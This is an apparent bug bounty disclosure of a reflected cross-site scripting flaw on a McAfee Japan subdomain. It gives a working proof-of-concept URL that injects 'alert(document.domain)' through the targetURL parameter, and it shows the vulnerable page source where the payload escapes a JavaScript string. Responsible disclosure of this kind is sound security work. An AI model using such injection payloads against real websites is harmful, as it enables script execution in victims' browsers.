RXSS in https://jp.mcafee.com/apps/mdm/jp/3.0_asp/

How it was found

Summary:

Hello!

I found another subdomain with XSS, let me show you the steps to reproduce it...

Website reports - browsers verified In:

Chrome 87/ Firefox

Steps to reproduce:

1. Write the following URL: https://jp.mcafee.com/apps/mdm/jp/3.0_asp/scripting.asp?targetURL=%22);alert(document.domain);//
2. Click on the button

{F1134643}

<html>
<head>
	<title>McAfee: スクリプトの有効化</title>
	<link rel="stylesheet" type="text/css" href="http://jp.mcafee.com/common/stylesheets/general.css">
</head>

	<script language=javascript>
	function onClickBack()
	{
		window.location.replace ("");alert(document.domain);//");
	}
	</script>

<body>

Regards!

Impact

XSS